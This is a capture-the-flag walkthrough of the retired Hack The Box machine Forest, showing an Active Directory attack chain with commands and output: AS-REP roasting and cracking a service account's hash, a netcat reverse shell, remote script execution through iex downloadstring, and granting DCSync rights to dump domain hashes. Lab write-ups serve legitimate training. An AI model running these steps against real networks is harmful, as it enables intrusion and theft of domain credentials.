This post documents the complete walkthrough of Forest, a retired vulnerable VM created by egre55 and mrb3n, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

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Forest is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.5 ( at 2019-10-16 00:00:28 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 54313/udp on                                 
Discovered open port 3268/tcp on                                  
Discovered open port 49671/tcp on                                 
Discovered open port 49697/tcp on                                 
Discovered open port 135/tcp on                                   
Discovered open port 47001/tcp on                                 
Discovered open port 139/tcp on                                   
Discovered open port 54070/udp on                                 
Discovered open port 49669/tcp on                                 
Discovered open port 49912/tcp on                                 
Discovered open port 5985/tcp on                                  
Discovered open port 464/tcp on                                   
Discovered open port 3269/tcp on                                  
Discovered open port 53/tcp on                                    
Discovered open port 9389/tcp on                                  
Discovered open port 389/tcp on                                   
Discovered open port 49666/tcp on                                 
Discovered open port 636/tcp on                                   
Discovered open port 49678/tcp on                                 
Discovered open port 55579/udp on                                 
Discovered open port 88/tcp on                                    
Discovered open port 49667/tcp on                                 
Discovered open port 49664/tcp on                                 
Discovered open port 593/tcp on                                   
Discovered open port 49670/tcp on                                 
Discovered open port 49665/tcp on                                 
Discovered open port 55249/udp on                                 
Discovered open port 445/tcp on

Whoa. That’s a lot of open ports. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -A --reason -oN nmap.txt
53/tcp   open  domain?      syn-ack ttl 127
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp   open  kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2019-10-16 00:18:39Z)
135/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?    syn-ack ttl 127
593/tcp  open  ncacn_http   syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped   syn-ack ttl 127
3268/tcp open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped   syn-ack ttl 127
5985/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf       syn-ack ttl 127 .NET Message Framing
Host script results:
|_clock-skew: mean: 2h26m48s, deviation: 4h02m31s, median: 6m46s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2019-10-15T17:21:08-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2019-10-16T00:21:09
|_  start_date: 2019-10-15T22:15:23

Interesting. An Active Directory forest as the name suggests with one domain HTB? Let’s see what we can find with good ol’ rpcclient.

# rpcclient -U%
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Hmm. What have we here? A service account? Service accounts are known to have poor password hygiene and they don’t change regularly. :wink:

Let’s give it a shot to, which attempts to list and get TGTs for users that have the property “Do not require Kerberos preauthentication” set. Seems like something a service account would do.

# python -format john -no-pass htb/svc-alfresco
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for svc-alfresco
[email protected]:0f6fe997e988a2e397f5df307b1373aa$5e00024090668f3ae67aa512ed9531838598a205c86f0e30096eefb998e1f5d077a43d5b89decebe9943d2e2cd2a75f9fac0a06814f75a1f4434c9ad9746fc0235cb545e7a12caf22664ca97eef6b976c607511e6fa5ecb5c9ab65aa42f7672bcc6682571770ddf82b9d2275d01c8cdd326e41e5bc44c5cb3b306bc0bef6701596319b2a85a0ddb58738aae70460488933ceb99b6da8049a6ffd5aeac76c52352df0385f11ce2744b22249922a57929e0ade3aabf174f488e656d8776fd1b2eb27cdc3827e0c5a3e9d01617515047f7f24fcf9a1bcddca112bdae9574a37f89f

Awesome. Time to fire up John the Ripper.

# /opt/john/john -w:/usr/share/wordlists/rockyou.txt alfresco.hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ([email protected])
1g 0:00:00:04 DONE (2019-10-17 12:19) 0.2267g/s 926476p/s 926476c/s 926476C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Low-Privilege Shell

Armed with the password of svc-alfresco, we can attempt PowerShell Remoting through WinRM with a very nifty tool—evil-winrm.

Bam. There you have it. The file user.txt is at svc-alfresco’s desktop.

Once we have this “shell”, we can transfer nc.exe from Kali Linux for a more traditional shell.

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata> iwr -outf .\cute.exe
*Evil-WinRM* PS C:\Users\svc-alfresco\appdata> start-process -filepath .\cute.exe -argumentlist " 1234 -e cmd.exe" -nonewwindow

Privilege Escalation

During enumeration of svc-alfresco’s account, I noticed that the account has WriteDacl permissions. This is evident from the BloodHound collection.

PS C:\Users\svc-alfresco\appdata> iex (new-object net.webclient).downloadstring('')
PS C:\Users\svc-alfresco\appdata> Invoke-Bloodhound -CollectionMethod All -LDAPPort 389 -LDAPUser svc-alfresco -LDAPPass s3rvice

I’ll leave it as an exercise how to transfer the zipped JSON files over to your attacking machine for analysis.

Did you see it? Not only that, svc-alfresco has the power to create domain users as well!

With the WriteDacl permission, we can grant the newly created user with DCSync rights to dump the NTLM hashes. But first, we need enter into the Exchange Trusted Subsystem group.

PS C:\Users\svc-alfresco\appdata> Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members svc-alfresco

This is important. We need to relogin to svc-alfresco for the group membership to take effect.

Next up, load up PowerView to grant austin his DCSync rights!

PS C:\Users\svc-alfresco\appdata> iex (new-object net.webclient).downloadstring('')
PS C:\Users\svc-alfresco\appdata> Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity austin -Rights DCSync

With that, we should be able to dump the secrets with Impacket’s

Armed with the administrator’s hash, we can use Impacket’s to get a privileged shell.

Getting root.txt is trivial.